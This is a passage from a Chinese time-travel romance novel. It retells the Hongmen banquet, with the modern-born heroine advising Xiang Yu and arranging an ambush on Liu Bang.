他道:“你们知道他怎么处置这些降卒的吗?他竟然给遣散的降卒发放吃的,留下来的降卒则被重新编入军队。我曾与他一起征战,此举可不是他的行事作风。” 他复而又叹息道:“此法深得民心啊。” 原本见项羽年轻,依旧在观望的诸侯们,心里对于他的治世之能有了肯定。 萧何道:“听闻是上将军身边的夫人出的主意。” 刘邦想到了曾见过几面之缘的虞苋,说道:“此女手段了得,极会收买人心,若为男子,定会成为世间枭雄,与我等一起逐鹿天下。” 可惜了。 项羽越加强劲,令刘邦隐隐不安,众人一起商议对策。 而在彭城的熊心,得知了项羽在巨鹿大获全胜,立即叫来了阿离和武伯。 他可还不想死。 这些事情都影响不到虞苋,不过将降卒之事解决之后,她的确是松了一口气,便有了心情骑马出去散心。 若是刘邦先一步进入了关中,那么秦朝就彻底亡了。 紧接着,历史便来到了楚汉争霸的时间线。 在最开始,刘邦还是苟起来的,不然也没有鸿门宴上的示弱。 若是如此,她便有时间去找回家的方法。 虞苋摸出许负曾经给她的扳指,她准备抽空去拜访拜访这位女相师,或许对方能给她提供些回去的线索。 即便她对项羽有情,可这些情情爱爱谁知道何时会消失,若是能够回家,她才不会为了一个男人留在古代。 只是。 她手上已经染上了很多很多的鲜血,回到那个和平富强的世界,她还能适应得了吗? 有点不确定。 不过这些都不重要,现在连回去的一点线索都没有,还是不要杞人之忧了。 就在这时,她看见农人在地里拔草,似在为春耕做准备。 地是一整块的,上面有很多的杂草,老农将上面清理的草堆在一旁。 虞苋便下马,牵着马绳上前,好奇道:“这地是荒废许久了吗?” 农人抬头,脸上黑黝黝的,见到虞苋,眼睛一亮,询问:“女郎,你应该是哪家的贵女,大抵是没见过农人侍弄田地?种地都是这样的。” 虞苋懵了:“是吗?” 他道:“到时候我将这草晒干,一把火烧了,地就肥了,等到了春耕时节,就可以在地上撒上种子。” 虞苋询问:“你种的是何物?” 老农道:“种的是豆菽。” 虞苋就算是没有吃过猪肉也见过猪跑,一看就知道这农人种地的方法与后世不太一样。 她摸摸下巴。 难不成是农具不足的原因? 第57章 第57章“沛公打进关中了。”…… 虞苋不由询问:“这一年下来,一亩地能有多少收成呢?” 老农抹了脸上的汗水,手往身上的麻衣上擦了擦,说道:“要是老天爷开眼,一亩地倒是能有个百来斤的收成。” 她怔住了:“这么少?” 老农闻言脸上不太高兴:“女郎,不少了。” 他说道:“若是连续种植豆菽,收成也会一年比一年少,种植三年便要让地休息一年,要等地里的肥力回来才能继续种呢。” 种地。 良种、肥土、农具缺一不可,否则粮食的产量就低。 虞苋好奇:“为何不种其他的粮食,比如小麦、粟米?还是说没有其他粮食的种子?” 老农道:“土地肥力不足,既不能种豆子,又如何能种得了其他粮食?” 他像是看傻子一样看着虞苋。 虞苋蹲下,扒拉这地上的土地,在手上捻了捻,说道:“若是老人家信我,可以试一试同一块地换粮种来种。” 不同的植物吸收的养分是不一样的,豆株吸收土里面的钾肥才能长得好。 土地中的钾少了,豆子的产量就少了。 老农道:“女郎懂得如何种地?” 虞苋拍掉手上的泥土,说道:“我不会种地,只是在书上看见过农人总结的经验,知道得多一些。” 楚、越之地,地广人希,饭稻羹鱼,或火耕而水耨…… 她心中嘀咕,难不成此时的耕种方式果真如此落后? 或许想要得到民心所向,民生问题不得不重视。 虞苋告别了老农,牵着马走到了河边,脑海中率先想到了小麦和水稻。 二者能在后世作为南北方的主粮,不仅刚好适应当地的气候,产量也相比其他的农作物高。 由于古代交通闭塞,信息难以传递,因此小麦和水稻只在一部分地区种植。 以中原现在的人口以及土地,若是能将二者推广至地方,不需要土豆和玉米,亦能达到粮食产量翻倍的作用。 而农具可以制作出节省人力的曲辕犁、水车等…… 天上日头很大,虞苋伸手挡住额头,眯眼看着河面上波光粼粼。 她正事情想得入神,便感觉到身边的小白马踢了踢前蹄,便转头看过去。 是项羽寻来了。 狗男人走过来,和她并排而站:“想什么这么入神?” 虞苋低头:“将军,我有些好奇,你跟随叔父起义时,有几分是为了家人报仇,有几分是为了恢复故国荣光,又有几分是为了天下的黎民百姓?” 项羽道:“都有,不分轻重。” 她蹲在地上,双手捧着脸,忍不住叹了一口气:“我刚才散心时,遇见了一个农人,他对于种地十分有心得,我便和他聊了两句,得知了土地种植豆子会逐年减产,种植三年便要让地休息一年。” 项羽疑惑:“你又不会种地,关心此事做什么?” “因为我身为将军的妻子,当然不能只顾及自己,也要为将军分忧才是。”她先是表明自己心意,又继续道,“而民以食为天,百姓吃饱饭才是顶顶要紧的事,所以刚才我就在想,要是战争结束了,要如何提高粮食的产量。” 楚国灭亡之后,项羽跟着叔父在各地当游侠,知道百姓过的是什么样的日子。 此时,他低头看着女郎单薄的肩膀,闷笑道:“人长得瘦瘦小小的,志向倒很是远大。” 虞苋道:“你不信我能将此事办成?” “那倒没有。”项羽双手抱胸,“现在谁还敢小瞧你?” “只是……” “只是什么?” 项羽将女郎提起来,一脸严肃:“你是不是忘记了一件事?” 虞苋皱眉:“什么事?” 他冷哼:“我们什么时候举办昏礼?” 别以为他不知道,不少人眼馋他的夫人,若是现在不赶紧把名分锁死,早晚要被人挖墙角。 比如在彭城的熊心,又比如刚刚立功的韩信,都是潜在的威胁,不得不防。 虞苋闻言懵懵道:“对哦,对哦,我们现在是属于无媒苟合。” 项羽:“……话别说得那么难听。” 虞苋道:“那我们去找许负阿姊算个良辰吉日好不好?” “不好。” 项羽都快忘记这一号人物了,想到当初她的预言,刚才还很和煦的脸立即就拉了下来。 “为什么?” “她说话晦气。” 女郎看他皱眉,忍不住笑了:“你还在记仇呢?” 狗男人颔首: “那咋了。” 虞苋:“你是不是在学我说话。” 项羽:“没有啊。” 她想了想,打算先将人哄好,于是搂着他的脖子,好声好气道:“那你怎么样才肯和我一起去找许负阿姊?” 项羽可受不住她这样撒娇,耳朵已经红透了,脸上却更加的严肃。 他的大手将她的手拿开,眯着眼睛凌厉的看她:“别撒娇,对我没用。” 没用? 难不成这狗男人有受虐倾向,喜欢来点刺激的? 虞苋退后一步,走到了河岸,再后退一步就会掉进水里。 “小心。” 噗通—— 女郎蹲在岸上,伸手去够项羽,抿嘴笑道:“将军怎么这么不小心,都掉进水里了?” 此时项羽泡在河中,浑身湿透,水珠顺着脸颊脖子流进了领口,在日光的反射下,水珠衬得晶莹剔透。 狗男人穿着玄衣,湿润的衣裳紧紧的裹着他精壮的身材,宽肩窄腰,加上人也白,显得优雅又贵气, 太好看了。 他满脸不悦,目光紧锁在女郎身上,冷冷询问:“很好笑吗?” 虞苋不敢笑了,也装作一脸严肃的样子:“回将军,不好笑。” 她见项羽装作没看她的手,正要游上岸,又赶紧委屈的解释:“刚才若不是将军拉我,可能掉进水中的便是我了。” “咳咳。” “虽然已经立春了,但是这天还冷着,水中可就更冷了,让若是我掉进去,怕是要冷出病来的。” “还得是将军眼疾手快,才让我免受其苦。” 女郎一个劲的给项羽带高帽子,说起话来又很是温吞,显得人柔柔弱弱楚楚可怜。 项羽眯眼:“我感觉刚才似乎有人推了我一把。” 虞苋一脸震惊,左右看了两眼,双手握拳捧着胸,警惕道:“不是我推的,能将高大威猛的将军推下水,是不是刚才闹鬼了?” 项羽冷哼:“我看是你心里有鬼。” 他询问:“说吧,你想去找许负,究竟是有何事?” 虞苋摆手:“这天下是男人的天下,女人少有出头的机会,好不容易看见一个另类的女人,有些惺惺相惜罢了,真没有别的事情。” “果真如此?” “真的。” 她抿嘴笑了笑,却不敢看着项羽的眼睛。 项羽看出了女郎的心虚,不过他怎么也不会想到,虞苋去寻找许负的原因,是想要寻找回家的办法。 而她所谓的回家,是彻底的离开这个世界,也将会彻底的离开他。 此时他说道:“行,那就去吧。” “不过……” “不过什么?” 狗男人突然将她拉进了水中:“有个条件。” 虞苋趴在项羽的怀中,周围的水都被男人滚烫的体温染了温度,她骤然抬头,撞见了他幽深的眼神之中。 不对劲。 她顿时大惊失色:“在水里不行。” “什么不行?” “呃……” “你脑子里一天天在想些什么?”项羽闷笑,“还是你故意提醒我,你想要在水里试一试?” “我没有,我不是,你别误会。” 虞苋赶紧否认三连,头都摇成了拨浪鼓,看上去因为这话受到了惊吓。 项羽淡定:“没有就没有,你先别激动。” 噎住。 她刚才骗他入水之时,心里还是有微末的后悔,觉得是不是自己做得太过分了。 毕竟对方最近确实没有做什么对不起她的地方。 而就在刚刚,所有的愧疚都消失了。 他就应该成为落水狗。 虞苋挣脱男人的怀抱,扑哧扑哧往岸上游,可游了半天,却还是在原位。 她回头,见自己的衣裳被项羽拉着,随后又被这人重新扯进了他的怀中。 女郎不满,气冲冲道:“你干嘛?” 狗男人则一脸淡定的将大手从衣领伸了进去,冠冕堂皇地说道:“夫人,我觉得你刚才的想法不错?” 虞苋:“什么想法?” 然而此时已经不言而喻,她羞红了脸颊,感觉自己好像是有点自作自受了。 项羽说道:“我现在倒是明白了,原来夫人推我下水,是为了做这一档子事。” 他睨了她一眼:“下次直接说就行了,没必要和我玩欲擒故纵。” 虞苋仰头看着项羽,他冷峻的脸上还有残余的水珠,眼睛里很是认真。 认真? 想到他是认真的想做,虞苋就忍不住哆嗦一下。 项羽询问:“冷了?” 女郎咬唇狠狠道:“刚才就应该淹死你。” “淹不死。”他说,“我水性很好。” 项羽见虞苋一副想气又不敢气的模样,捏了捏她脸颊,说道:“好了,日头快落山了,先回去吧。” 虞苋眨眼:“不做了吗?” 项羽:“怎么,你这话里面的意思,似乎还有些遗憾?” 她心虚:“绝对没有,你看错了。” 不过回到军中之后,两人还没有将湿衣裳换上,便有人来传话。 士兵:“将,将军,范将军请你,请你过去商议要事。” 项羽皱眉:“有什么要紧的事?” 他见项羽不悦,说话更加磕磕绊绊:“回,回将军,是沛公,沛公已经打进关中了。” 第58章 第58章“荒唐至极。”…… 项羽冷笑:“刘邦不过是亭长出身,我竟是不知原来他有如此野心。” 他大步走了出去,复而又回来,跟虞苋说道:“我去去就回,你先好好休息。” 虞苋乖乖点头,并将干衣裳递给项羽。 她道:“如今天气还冷,将军先将衣裳换上。” 项羽敛目:“好。” 等项羽换了衣裳离开,虞苋坐在案几前,双手捧着脸颊思考。 原来历史的车轮印,就快要驶入鸿门宴了。 在这一场宴席中,项羽抉择到底杀不杀刘邦,最后选择放过了对方,于是才有了后来的楚汉相争。 从私心而言,她自然希望最后的赢家是项羽,而从历史而言,她知道最后是刘邦赢了天下。 是刘邦延续了秦朝的大一统王朝,是他的子孙后代让这片土地上的人,有了民族的认同感,从分裂的楚人、魏人、秦人……都变成了汉人,一个来自星星的民族。 她也是汉人欸。 杀与不杀刘邦,想必除了项羽,最纠结的莫过于虞苋了。 愁啊。 项羽和范增等人商议过后,便带着众诸侯一路西行,到了函谷关。 如此过去了数日。 不过刘邦已经派兵把守住了函谷关,不让项羽进入关中。 项羽扎营在函谷关外,冷静的擦拭手上的剑,剑刃的寒光反射着男人脸上冰冷的表情。 见到女郎走来,他抬眸:“我收到密报,刘邦确有称王之心。” 虞苋跪坐在项羽身边,拿起铜杯给他倒了一杯水,询问道:“将军很生气?” 项羽将剑入鞘,说道:“我在巨鹿消灭了秦军主力,刘邦却趁机入关,功劳不及我,竟还敢将我拦在函谷关之外,岂非是不将我放在眼中,我如何不生气?” 虞苋看着项羽周身气息冰冷,她拿起杯子喝水润喉,淡定道:“将军,他将你拦在函谷关外实属正常。” 项羽皱眉:“怎么说?” 女郎瞥了他一眼:“你是不是傻,他都打入关中了,岂会甘愿将地盘拱手相让?” 下一刻—— 项羽将她捞进怀中,掐着她的脸颊,轻哼道:“骂我?” 虞苋立即认怂:“错了错了。” “你的话倒是没错。”狗男人眼神微眯,“他既然敢拦,那我就杀进去,看他拦不拦得住。” 她点头:“好的好的,不过,你先松开我。” 在绝对武力面前,虞苋也是可以服软的。 项羽见虞苋眼睛里的讨好,松了松手,嘴上却道:“你在我面前无法无天就罢了,在外人面前你可要规矩一点。” 女郎保证:“在外人面前,我绝对会以将军为尊。” 她懂的。 为了维护男人那可怜的自尊心嘛。 项羽见她睁着一双水润的眼睛,眼底却藏着狡黠,看着就知道她这话是说来哄人玩的。 他眼睛微眯:“说到做到?” 虞苋点头:“说到做到。” 狗男人吓唬她:“你倘若是做不到,下次再敢骂我,我就堵住你的嘴巴。” 她如小鸡啄米般点头:“不骂了不骂了。” 小气鬼。 阴晴不定的 狗男人,还凶她,要是能回现代,她一定会毫不留恋的离开。 哼哼。 项羽捏着虞苋的后颈,冷哼道:“你眼神中似有不服。” 虞苋赶紧抱住项羽的脖子,面上十分的谄媚:“妾身都知晓自己错了,将军干嘛还揪着不放,莫非是想要妾身好好服侍你?” 项羽:“……” 太会撒娇了,实在受不住。 项羽感觉自己又被她给拿捏了,揉着她的腰,直接把人揉得软滩在怀。 嘴巴说再多的谎言,心里有多少的不服气,都没关系,女郎的身体自会臣服。 狗男人见状,心里彻底舒服了。 虞苋没有劝说项羽不要入关,战争亦是政治的一环。 手持利刃,杀心自起。 她比任何人都知道,他们最终一定会走向倒戈相向,看着便是。 之后,项羽派英布去攻打函谷关,很快就打开了关口,项羽便带军进入了关中,几十万大军驻扎在鸿门。 刘邦还在秦王宫中看着舞女跳舞,听着靡靡之音,属下前来禀告函谷关失守,顿时冷汗淋淋。 他战事接连胜利,战功赫赫,自认为实力不俗,对方却如此轻易的攻破了函谷关…… 此子实力之盛,实在骇人听闻。 心慌慌啊。 项羽有杀刘邦之心,虞苋知道项伯这个二五仔会去告密,于是派韩信去盯着项伯。 一整晚项伯都没有动静。 翌日。 刘邦却带了一百亲卫来到了鸿门,态度谦卑的求见项羽。 彼时虞苋还以为是时间对不上,正准备让人继续蹲守项伯,没想到等到了刘邦前来的消息。 她便又有了一个疑惑: 项伯是怎么躲过韩信的眼睛,前去跟张良告密的? 这些都是小事。 刘邦胆敢前来,正好瓮中捉鳖。 虞苋也很想看看,刘邦是不是天命之子,天命所归。 倘若她知道历史还杀不了刘邦,那么她还是专心寻找回家的办法,或是还能多给自己留一条后路。 虞苋又招来了韩信与黎晟。 历史记载得很清楚,鸿门宴上刘邦花言巧语,让项羽放下了对他的杀心。 范增见事不妙,出去叫来了项庄,以舞剑助兴为由,入大帐中刺杀刘邦。 舞剑途中,项伯起身一同舞剑,破了项庄的杀招。 于是,张良出大帐叫了樊哙进来,樊哙指责项羽要杀有功之臣,让项羽在道德上没有了出手的机会。 鸿门宴的结尾,是刘邦以如厕为借口,带着几个亲卫走小路逃回了霸上,只留有张良给项羽献宝。 这毕竟不是太史公亲自所见,其中必然细节有错漏之处。 虞苋也不好当着众诸侯之面让人杀了刘邦,只能在刘邦出帐之后派人截杀。 正思索着。 韩信和黎晟到了,正朝着她稽首。 虞苋回神,抬眸看向韩信,询问:“昨晚你确实未见项伯出去吗?” 韩信敛目道:“夫人何故有此一问?” 看着对方不解的眼神,女郎沉默了一会儿,竟然有些惭愧。 没想到自己竟也沾上了上位者多疑的臭毛病了。 她道:“沛公现下带人来求见将军,正在大帐中做客,你们二人各带一千精锐,把守在在骊山道,只要见到他离开军营,便将其诛杀。” 韩信怔住,抬眸询问:“夫人,此事将军可知晓?” 虞苋淡定道:“这是我主意。” 这一日倒是一个好天气,日光照进帐子中,打在地板和案几上,周围亮堂堂的,唯有端坐的女郎隐在阴暗中。 韩信垂眸:“喏。” 黎晟此时已经完全归属于虞苋,闻言立即稽首:“夫人,我立即去办。” 她点头:“沛公身边有一员猛将,名叫樊哙,你们要多加小心,平安回来。” “喏。” 虞苋将事情交代后,便走到了大帐外面,里面项羽正在设宴,守卫不敢拦她,直接让她进去了。 此时项羽和项伯坐在东向,范增坐在南向,张良坐在西向,而刘邦坐在北向。 女郎进来,先是朝着众人行礼,便走到了项羽身边坐下。 项羽挑眉:“夫人怎么也来了?” 上次虞苋劝说他不要杀降泄愤,以为此时她前来,是为了让他放过刘邦。 虞苋眸光看着神色谦卑的刘邦,面上带着一抹微笑:“听说沛公前来做客,便想着我许久没有吕夫人的消息了,特来问问沛公吕夫人如今可好?” 刘邦说道:“多谢虞夫人记挂,夫人她如今一切都好。” 她抿嘴一笑:“我以为沛公如今软香在怀,已经忘记了还在沛县的吕夫人。” 刘邦仗义疏财,却有一个致命的特点,就是格外的好色。 他知道虞苋与项羽如今感情深厚,许是不悦他的三心二意,于是在心中斟酌了一番语言,谨慎地说道:“内子与我相识于微末,又在老家辛辛苦苦照顾我的老父母,为我尽孝,我心中不胜感激,怎会忘了自己的妻子。” 虞苋说道:“看来沛公并不是一个忘本之人。” 刘邦恍然大悟,原来这位虞夫人并不是像他想的那样关注他的私事,而是借此时告诫他不要忘本。 亦是在提醒他的出身。 刘邦知道虞苋是来着不善,藏在袖中的手惊出了汗。 他刚刚才靠着口舌让项羽卸下了杀意,倘若虞苋对他有杀心,今日怕是生命危矣。 于是他忍不住看向张良。 张良早就听闻过虞苋的名号,今日是第一次见到这位虞夫人,果真如传闻中般貌美,并且深得项羽的喜爱。 无论是项羽还是一旁的项伯和范增,都未觉得她此时出现在这里有何不妥,可见此女在楚军之中的地位。 看现下的情形,项羽身边除了项伯之外,范增和虞夫人都对沛公起了杀心。 局势不妙啊。 张良只好绕过这个话题,提及了另一件事:“此次沛公前来,不仅是为了解释为何派兵镇守函谷关的,还是为了献宝。” 刘邦脸上闪过一丝肉疼,见张良已经提及此事,赶紧接口:“没错,今日前来不仅是为了解开与项王的误会,最主要的还是为了给项王献宝。” 项羽一笑,没当回事:“哦,什么宝贝,说来听听?” 虞苋有些疑惑。 献宝不是等刘邦离开之后,再请张良转交的吗? 难不成是她的出现打乱了这场鸿门宴的节奏? 刘邦说道:“昔日嬴政寻仙问道,广招能人异士炼制丹药,以求获得长生,想必诸位也曾听说过一二传闻。” 登临权利的顶峰之后,得到了物欲的满足,自然会追求更高层次的东西。 例如长生。 秦始皇暮年时为了求得长生,于是派徐福携带童男童女前往海外仙岛寻长生药。 这件事流传了两千两百多年,即便是虞苋都有所耳闻。 她疑惑:“沛公要献的宝贝,与此事有何关联?” 刘邦拱手:“我要给项王进献之物,正是嬴政所求的长生药。” 项羽此时年轻气壮,无惧于鬼神,更不相信这世上有什么长生药,忍不住嗤笑:“荒唐至极。” 这世上若真有长生药,嬴政就不会死了,暴秦依旧会压榨他国百姓,让众人不得喘息。 沛公此言,着实招笑。 第59章 第59章“沛公走了,便不会回来…… 这话不仅是项羽不信,便是坐在他身旁的项伯,亦是被刘邦和张良的话弄得一愣。 他也没听见风声啊。 项伯看了一眼项羽,又看了一眼刘邦,随即皱起了眉头。 莫非这是张良的计策,故意在项羽面前显示自己的愚蠢,以此让人放松对他们的警惕。 他沉吟道:“阿羽,不如听沛公将话说完。” 项羽目光落在刘邦的身上,见他在自己面前极为的谦卑,不由想到了几月前两人曾一起并肩杀敌。 情谊是有的。 他怎么也想不到,刘邦会背叛自己。 可派人在函谷关拦人的却又的确是沛公。 在刚才,虞苋还未到之时,刘邦 已经向他解释了派兵镇守函谷关,是为了不让其他诸侯先他一步入关破坏咸阳的财产,自己未敢动分毫,是替他看管财物,只是手下人会错意,才将他的人拦了下来。 听了刘邦的狡辩,项羽不管信不信,有了这个解释杀心已减,犹半信半疑。 碍于之前的同袍之情,如今人又乖乖来到他面前,为了道义,自己也是不好亲自将人杀掉了。 此时听到刘邦提及长生药,倒是觉得刘邦已老,竟然也相信长生之说,就算野心勃勃,将来怕是也翻不出什么浪花。 刘邦解释道:“秦王子婴将长生药献出之时,我也是不信的,却在他打开瓷瓶之时,里面的药丸飘出,散发着五色光芒,这才让人不得不信这世上真有长生药。” 他将瓷瓶拿出,脸上快速的抽动两下,才让身边的人将瓷瓶呈给项羽。 项羽笑道:“竟有如此奇闻,我倒是要好好瞧瞧。” 说着便直接打开了瓷瓶的瓶盖,便有三颗药丸飘出,药丸表层在光线下反射出各种颜色,果然流光溢彩。 刘邦解释道:“据子婴所说,此药为天外陨石所炼,一共炼制得了七颗,两颗被死囚用来试药了,嬴政和胡亥各吃了一颗,如今剩下三颗长生药,全在这里了。” 项羽亦没有见过如此奇观,此时却是亲眼所见,就算这能发光的药丸不是刘邦口中的长生药,也确实是个极具观赏的宝物。 他道:“既然是长生药,为何嬴政吃了会死,胡亥吃了也还会死,想必长生药是假,毒物是真,沛公莫要被人诓骗了。” 项羽知道就算刘邦再蠢,也不会将毒物当成长生药献给他,此物应该的确是秦王子婴献给他的。 此物到底能不能长生不重要,重要的是刘邦如此不藏私,倒是让项羽彻底放弃了亲手杀他的心思。 而刘邦见项羽目光中没有对长生的贪恋,心中忍不住叹息,此人果真是个真英雄。 长生啊。 多少人毕生的追求呢? 若非为了活命他亦不会将长生药交出来。 当然刘邦自己现在也是不敢吃的,毕竟谁知道子婴献出的长生药是真是假,万一吃死人了怎么办? 除非将来药石无医之时,倒是可以试一试。 就是可惜了,为了取信项王,自己是一颗都没给自己留。 刘邦只好稽首,格外的谦卑:“还是项王将生死看得透彻,是我自己被长生之言,蛊惑得着相了。” 项羽眉眼舒缓。 范增原本被长生药的光彩所摄,听了项羽的话立即回神。 是了。 若是真有长生药如何能留到现在,恐怕是早就被人争相抢夺了。 只是转头看见项羽的表情,他顿觉得糟糕,心知项王是不可能亲自动手杀刘邦了,于是寻了个借口离席。 虞苋见到了范增离开,眼睛闪了闪,看向了刘邦。 刘邦深知即便过了项羽这一关,他身边的将领也不一定会想给他离开,见范增离开,恐生变故,手心里亦是捏了一把汗。 又担心被项羽看出来,便只好喝酒掩饰心中的惧意。 此时项羽将长生药装回瓷瓶中,递给一旁愣神的虞苋,说道:“此物精美,不可食用,倒是可以放在房间当做摆件装饰。” 虞苋接过瓷瓶,默默地放在了案几下,手指还偷偷地推远了些。 天外陨石炼成的,指不定有放射性物质,她才不要拿着。 不过为何丹药能浮在空中? 难不成是有磁铁形成的磁场,用人故意在装神弄鬼。 可磁铁经过火烧之后,磁铁里面的磁性会被破坏,也就没有磁性了,药丸被炼制过,应该没有磁性了才对啊。 算了,实在想不明白还是不要想了,倘若她的智商能想明白这些,早就去搞科研了,何必上个大学还得学艺术。 咳咳。 项羽瞥见虞苋的动作,以为她也不信这世上有什么长生药,忍不住勾唇一笑,在桌下握住了女郎的手。 这时候范增还没有回来,张良趁机询问:“说起来,项王是如何会猜忌起沛公有二心,可是何人挑拨沛公与项王的情谊,用心可谓险恶。” 刘邦亦是开口附和:“没错,究竟是谁竟然在项王面前污蔑我,以此离间我对项王的忠心。” 项羽觉得给他送信的人是刘邦的手下,跟他没有关系,也乐得看他们自己内讧,正要回答。 虞苋扯了扯狗男人的衣摆,淡笑着朝着刘邦一笑:“是沛公的属将。” 刘邦询问:“是谁?” 她道:“具体是谁,等沛公完好无损的回去,你自然便知道是谁了。” 刘邦见虞苋不肯说,疑惑道:“虞夫人何意,是要包庇一个使离间计的小人吗?” “非也。” “若是沛公安然无恙的回去,告密之人定会担心暴露而慌乱不已,以沛公之才能,应该能抓到一个小人的吧?” 虞苋三言两语,将刘邦的指责给拨弄了回去。 刘邦指责她包庇人,她就攻击他的才干。 就在张良还要说什么之时,范增正好回来,两人见的确问不出什么,便没有再询问是谁告密的了。 范增进来没有多久,项庄便拿着剑进来,说道:“亚父说大帐中众人都在喝酒,实在无趣,便让我进来给大家舞剑助兴。” 项羽的目光看向了范增,见他坐得板正,表情很是凝重,便知晓了对方的打算。 他颔首:“准了。” 于是项庄就在帐中舞剑,剑扫过刘邦,刘邦狼狈的躲闪。 项伯眼神闪了闪,拿起身边的剑,说道:“我来看看庄儿的本事。” 大帐内。 舞剑的两人,一个要杀一个要救,剑势却招招漂亮。 虞苋看得眼花缭乱,却实在佩服刘邦的胆气,若是她知道项羽要杀自己,绝对是不敢再前来。 他敢来赴宴,如何不算英雄? 唯一被诟病的,是这一场宴席的最后,他尿遁逃了。 张良见势不妙,赶紧走了出去,跟樊哙说了里面的情况。 樊哙立即拿着剑盾进去,帐外的士兵拦不住,被他闯进了大帐中。 众人持刃对准了他。 此时樊哙瞪着一双眼睛,对着里面的人怒目而视,气愤道:“这是在做什么?是想要沛公的性命不成?” 项庄见人进来,便将剑收回,退回了范增身边。 项伯便也收剑,坐回了座位上。 刘邦见樊哙进来,简直是见到了酒醒,胸口提着的那口气,终于能呼出去了。 项羽见樊哙胆气过人,询问:“你是何人?” 张良见樊哙直接闯了进来,根本拦不住,便跟进来了,给项羽介绍的道:“这是沛公的参乘,名叫樊哙。” 项羽说:“武力倒是不错。” 樊哙冷哼一声,开始指责项羽:“虽然有‘怀王之约’在先,但是的确是沛公率先进入关中。为了以示对大王的尊敬,沛公进了关中之后,关闭了宫门,对里面的百姓亦是秋毫无犯,带兵回到了霸上等着大王的到来。大王不仅不论功行赏,却还想要沛公的性命,此非仁义之举。” 项羽瞥了一眼刘邦,没有说话,让人给樊哙赐座。 范增见到樊哙,此人武力值高强,在大帐内唯一还能杀沛公的,便只有项羽本人。 他示意项羽杀了刘邦,项羽却用刀割面前的肉递给虞苋,对于范增的示意装作没看见。 若是项庄能成功杀了刘邦倒也罢了,他却不好亲自动手,不然容不住有功之人善妒的名号,就要沦落到他的身上。 即便是要胜,那也要在战场上堂堂正正的胜。 他不屑于在此时动手。 范增见项羽太爱面子,于是将目光看向了虞苋 ,希望这位女郎能劝劝他。 虞苋叹息了一口气,见帐中宾客开始吃肉喝酒,她用两个人的声音询问道:“你真信了刘邦的鬼话,打算不杀他了?” 项羽有些好笑:“你想我杀他,还是不杀他?” 女郎淡定:“杀功臣,不可取。” “你是劝我不要杀刘邦?” “你杀不合适。” 他眼神微闪:“沛公连长生药都能舍下,可谓是诚意十足,我的确没有再杀他的理由。” 说话间,刘邦借着如厕的借口出了大帐。 没多久,樊哙也出去了。 虞苋提醒道:“沛公走了,便不会回来了。” 项羽道:“你是如何得知的?” 女郎挑眉一笑:“猜的。” 她刚才一直都在看戏,此时见这前半场戏已经落幕,便有了兴致:“要不然我们打个赌?” 项羽疑惑:“什么赌?” 虞苋附耳悄悄道:“要是他没有回来,你就答应我一件事,要是他回来了,我就答应你一件事。” “什么事都可以?” “没错。” 项羽颔首:“那好。” 刘邦和樊哙出去之后果真没有再进来,项羽便派人去催,这才发现人已经不见了。 张良进来,又献美玉赔罪。 范增在生闷气,等张良走了,宴席散去,帐中便只有自己人。 他将玉斗摔在了地上,忍不住跟项羽愤愤道:“他进咸阳能关闭宫殿的大门,又对城中的百姓秋毫无犯,此子的野心定然不小,你怎么能收下他的宝物,而让他有机会取你的江山。” 项羽把玩着美玉,语气冷淡:“亚父何必着急?” 范增道:“我如何不着急?那老小子已经逃了,你再想杀他可就难了。” 项羽目光移向了虞苋,将手中的美玉递给她:“夫人从军中调拨了两千精兵,是做什么去了?” 虞苋不由反问:“你知道了?” 项羽颔首。 范增皱眉:“你们打什么哑谜?” 第60章 第60章“粗俗。” 此时周围的气氛凝固,唯有项羽面上一脸淡定。 “亚父不如自己问问小虞。” 范增的目光移向了虞苋:“难道……” 她没有打哑谜,说道:“我已经安排了韩信、黎晟在沛公回去的路上埋伏,只是究竟能不能成功,还说不一定。” 范增倒是没有想到原来虞苋还有后手,连忙询问:“带了两千精兵?” 虞苋点头:“没错。” 若是两千精兵都杀不死刘邦,那么便是天注定了他今晚命不该绝。 另一边。 刘邦以如厕为由离开了大帐,便又让人将樊哙叫出来,樊哙便建议他弃车骑马匹,直接持剑盾,从骊山走小路回到霸上。 算时间到了,再让张良持宝玉献给项王告罪。 只是刘邦没有想到,在小路上竟然遇到了埋伏。 箭雨飞来之时,他用剑盾格挡,感觉周围“铛铛铛”的扎在了盾上。 天要亡他啊。 他率先想到的是项羽派兵来围杀自己,可又想着对方要杀他直接在帐内就可以杀了,如何会在此下杀手? 刘邦的脑海里,立即闪现了一个漂亮的人影。 宴上,那位虞夫人不仅阻止了项羽告诉他告密者是谁,难不成这些伏兵,也是她派来的? 沛公顿时一惊。 心道。 若是项羽是虞苋的性子,怕是他敢前来,在帐中便已被对方杀死了。 这位可是一个狠角色。 樊哙、夏侯婴等人带着刘邦杀出了一条血路,只是人密密麻麻的,似乎怎么也杀不完。 沛公道:“对方到底派来了多少人?” 樊哙解释道:“大概有一两千人。” 刘邦忍不住道:“对方也真是看得起我,竟然派来了这么多伏兵。” 樊哙武力值很高,只在项羽之下,即便是面对千百人,亦是没有半点惧意。 刘邦道:“进树林里,此时夜色黑,不少人在晚上视力不佳,等进了树林里面,援兵一到,我们就有救了。” 鸿门和霸上相隔四十里,抄小路从骊山走,则只有二十里。 尿遁之前,刘邦便已经放飞鸽子传信回霸上,让人从小路来接应。 只要再拖上半刻就安全了。 韩信很快就明白了他们的意图,说道:“不能让他们进了树林,此时夜色黑,若是他们藏起来,便难寻踪迹了。” 他看着在刘邦面前,能以一敌百的勇士,皱起了眉头。 此人或许就是虞夫人口中的樊哙了。 难怪她会专门跟他提及此人,果真是难以对付,即便这么多人包围,竟然游刃有余,边打边往林中退去。 不过双手难敌四拳,很快夏侯婴就被箭射中,又为刘邦挡了一剑,直接倒在了地上。 刘邦眼睛都红了。 樊哙立即推着刘邦走,说道:“沛公,我们留下来挡住他们,你快跑,不要回头。” 刘邦知道是这些弟兄们要用自己的命来换他的命,不敢再耽搁,见樊哙以一夫当关之势拦住了伏兵,手中拿着剑盾不要命的跑。 樊哙已经杀红了眼。 他感觉所有的士兵动作是如此的慢,力气是多么的小,能轻易就掀翻。 为了能让刘邦活下来,他以肉身为盾,悍不惧死。 士兵跟韩信道:“那人太厉害了,我们无法近身。” 韩信亦道:“此人有项王之勇。” 他又道:“弓箭手。” 箭雨齐飞,朝着刘邦等人而去。 可是弓箭要么没射中,要么就被刘邦躲过,或者被剑盾格挡,竟然是让他毫发无伤。 韩信见状,亲自拿了弓搭箭,瞄准了沛公的后背。 随着一声破空的铮鸣,箭射中了刘邦的胳膊。 他的盾掉了下去,人影也完全融入进了林中,肉眼看不见人去了哪里。 